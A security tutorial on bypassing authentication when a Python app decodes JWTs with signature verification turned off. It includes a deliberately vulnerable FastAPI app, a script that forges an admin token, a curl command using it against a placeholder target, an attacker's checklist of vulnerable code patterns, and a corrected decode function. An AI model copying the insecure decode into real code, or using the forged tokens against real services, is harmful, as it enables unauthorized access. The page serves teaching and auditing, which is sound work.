PyFu

Authentication Bypass via Broken JWT Validation

Python-based Web Application Attacks

In the Introduction to JSON Web Tokens in Python section, we covered how a JWT’s signature is what guarantees its integrity: the server recomputes the HMAC over the header and payload and rejects the token if it doesn’t match the one the client sent. That single check is the entire security model. If signature verification is disabled, a JWT degrades into a plain Base64URL-encoded JSON blob that anyone can read, edit, and replay.

This is one of the most common JWT flaws in Python applications, and it almost always comes from the same place: a developer who disabled verification while debugging and never turned it back on, or who copied a snippet that passed verify=False to silence an error. The PyJWT library makes this easy to do and easy to miss in review.

Vulnerable Application Example

The following FastAPI application implements JWT authentication but disables signature verification:

from fastapi import FastAPI, HTTPException, Header
from pydantic import BaseModel
import jwt
from typing import Optional

app = FastAPI(title="User Management API")

SECRET_KEY = "super-secret-key-do-not-share"

class UserResponse(BaseModel):
    user_id: str
    role: str
    message: str

def decode_token(token: str) -> dict:
    """
    Decode and validate JWT token.
    WARNING: verify=False disables signature verification!
    """
    try:
        # Vulnerable: signature verification is disabled
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=["HS256"],
            options={"verify_signature": False}  # DANGEROUS!
        )
        return payload
    except jwt.DecodeError:
        raise HTTPException(status_code=401, detail="Invalid token format")

@app.get("/api/profile", response_model=UserResponse)
def get_profile(authorization: str = Header(...)):
    """
    Get user profile. Requires valid JWT in Authorization header.
    Format: Bearer <token>
    """
    if not authorization.startswith("Bearer "):
        raise HTTPException(status_code=401, detail="Invalid authorization header")
    
    token = authorization.split(" ")[1]
    payload = decode_token(token)
    
    return UserResponse(
        user_id=payload.get("sub", "unknown"),
        role=payload.get("role", "user"),
        message=f"Welcome back, {payload.get('sub')}"
    )

@app.get("/api/admin/users")
def list_all_users(authorization: str = Header(...)):
    """
    Admin endpoint to list all users.
    Requires JWT with role=admin.
    """
    if not authorization.startswith("Bearer "):
        raise HTTPException(status_code=401, detail="Invalid authorization header")
    
    token = authorization.split(" ")[1]
    payload = decode_token(token)
    
    if payload.get("role") != "admin":
        raise HTTPException(status_code=403, detail="Admin access required")
    
    return {
        "users": [
            {"id": "user1", "email": "user1@example.com"},
            {"id": "user2", "email": "user2@example.com"},
            {"id": "admin", "email": "admin@example.com"}
        ]
    }

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=8000)

The Vulnerability

The critical flaw is in the decode_token() function:

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],
    options={"verify_signature": False}  # DANGEROUS!
)

The verify_signature: False option tells the PyJWT library to skip signature validation. This means:

  • The token’s signature is completely ignored
  • Any properly formatted JWT will be accepted
  • Attackers can craft tokens with arbitrary claims

Crafting a Valid JWT Format

Even with verify=False, the application still requires a properly structured JWT. The attacker must construct a token with valid Base64URL encoding for each component.

A JWT must follow this exact format:

  1. Base64URL-encoded JSON header
  2. A dot separator
  3. Base64URL-encoded JSON payload
  4. A dot separator
  5. Base64URL-encoded signature (can be anything when verify=False)

Here’s how to craft a forged admin token:

import base64
import json

def base64url_encode(data: bytes) -> str:
    """Base64URL encode without padding."""
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

# Construct header
header = {"alg": "HS256", "typ": "JWT"}
header_encoded = base64url_encode(json.dumps(header).encode())

# Construct payload with admin role
payload = {"sub": "attacker", "role": "admin"}
payload_encoded = base64url_encode(json.dumps(payload).encode())

# Signature can be anything - it won't be verified
signature = base64url_encode(b"fake-signature")

# Combine into JWT format
forged_token = f"{header_encoded}.{payload_encoded}.{signature}"
print(forged_token)

This produces a token like:

eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.ZmFrZS1zaWduYXR1cmU

Exploitation

Using the forged token to access the admin endpoint:

# Craft a forged admin token
TOKEN="eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.ZmFrZS1zaWduYXR1cmU"

# Access admin endpoint with forged token
curl -X GET http://target:8000/api/admin/users \
  -H "Authorization: Bearer $TOKEN"

The server accepts the token because:

  1. The format is valid (three Base64URL parts separated by dots)
  2. The header and payload decode to valid JSON
  3. Signature verification is disabled

Common Patterns That Lead to This Vulnerability

# Pattern 1: Explicit verify=False
jwt.decode(token, key, options={"verify_signature": False})

# Pattern 2: Using verify parameter (older PyJWT versions)
jwt.decode(token, key, verify=False)

# Pattern 3: Disabling all verification
jwt.decode(token, key, options={"verify": False})

# Pattern 4: Development code left in production
if DEBUG:
    payload = jwt.decode(token, options={"verify_signature": False})
else:
    payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

Why disabled JWT verification matters from an offensive security perspective

This is the bug I hope to find, because it reduces the token to plaintext I fully control. There is no secret to recover, no algorithm to confuse, no key to point at. The signature segment is decorative, so I write the claims I want, attach any garbage as the third part, and the server reads it as gospel. The yield is immediate and total: arbitrary sub, arbitrary role: admin, impersonation of any user, and access to every endpoint gated only by a payload check. It is the lowest-effort full authentication bypass in the JWT family.

What makes it dangerous in review is that the code looks like it verifies. There is a jwt.decode, a SECRET_KEY, an algorithms=["HS256"], all the right shapes, with one buried option flipping the check off. It usually arrives as a debugging shortcut that survived to production, or a if DEBUG: branch that the deployment quietly enabled. The exception handling around it still catches DecodeError, so malformed input is rejected and the flaw hides behind apparently-working validation.

These are the tells I look for in PyJWT and python-jose code:

  • options={"verify_signature": False}. The flagship PyJWT pattern, the signature ignored entirely while everything else looks normal.
  • verify=False or options={"verify": False}. Older PyJWT spellings that disable all verification, including the signature.
  • jwt.decode with no key argument at all. Decoding without a secret only works because verification is off, a strong signal the check is gone.
  • jwt.get_unverified_claims / get_unverified_header used to make auth decisions. python-jose and PyJWT both expose unverified readers; trusting their output is the same bypass under a different name.
  • A DEBUG-gated decode path. Verification on in one branch and off in the other, one environment-variable flip from exposed.

The defender takeaway: any token-decoding call that does not enforce the signature is a complete authentication bypass, so the audit question is never “does it decode” but “does it verify”.

Mitigation

Always verify JWT signatures in production:

def decode_token(token: str) -> dict:
    try:
        # Secure: signature verification enabled (default)
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=["HS256"]  # Explicitly specify allowed algorithms
        )
        return payload
    except jwt.InvalidSignatureError:
        raise HTTPException(status_code=401, detail="Invalid token signature")
    except jwt.ExpiredSignatureError:
        raise HTTPException(status_code=401, detail="Token has expired")
    except jwt.DecodeError:
        raise HTTPException(status_code=401, detail="Invalid token format")

Never use verify=False or verify_signature=False in production code. If you need to inspect a token without verification (for debugging), do so only in isolated development environments.